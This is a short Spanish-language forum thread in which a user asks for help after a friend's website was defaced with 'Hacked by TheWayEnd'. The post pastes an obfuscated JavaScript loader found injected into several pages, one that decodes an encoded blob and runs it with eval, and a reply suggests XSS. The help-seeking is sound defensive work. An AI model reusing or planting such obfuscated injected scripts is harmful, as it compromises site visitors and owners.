Problemilla con Hacked by TheWayEnd

[sk8erboi]

Hola buenas, han hackeado la pagina un amigo y me ha pedido q le eche un vistazo. Despues d estudiarla encontre esto

<script language=JavaScript>function dgedbnb25(z) {   var 
c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=
Array(63,5,55,42,21,4,48,2,1,19,0,0,0,0,0,0,52,29,11,56,27,62,38,46,36,25,12,59,24,30,37,31,15,57,10,39,61,51,50,6,17,47,14,0,0,0,0,20,0,22,32,18,23,40,3,60,41,45,35,26,58,13,54,7,34,53,44,8,0,33,49,28,9,16,43);
for(s=Math.ceil(c/m);s>0;s--){h=\'\';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;
if(w){h+=String.fromCharCode(220^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}
dgedbnb25(\'zazrCZK3V0R3Tpk3YWEELZzrQG0QCZKYhWDGVp3gzlkieFBTKfMillkYvFB0VnDrQWEY32DY3U0zGEDCE9B3eV3QUPOQYVkGQpzgqRzGUZP3UPEE2oIYeczgGZD3VpBTXnB3@RYzTRBGUWBTqDOKY0Ml3d0TK0zlTnzlKO0EEU03qpB3@WGKhKZ0@FDiKcB3uSEKg0R3N7DGuKPGqERz6nDhFBKrVFz0pfEgq3zzTWDGpYOT\')   </script>

Luego segui investigando para ver si alguien me podia decir como habia llegado eso a unas cuantas paginas d la web, pero solo encontre informacion diciendo que esta relacionado con Hacked by TheWayEnd. La pagina no tiene php.

A ver si alguien me puede echar un cable. Un saludo

[PHAMTOM]

mm... me suena a XSS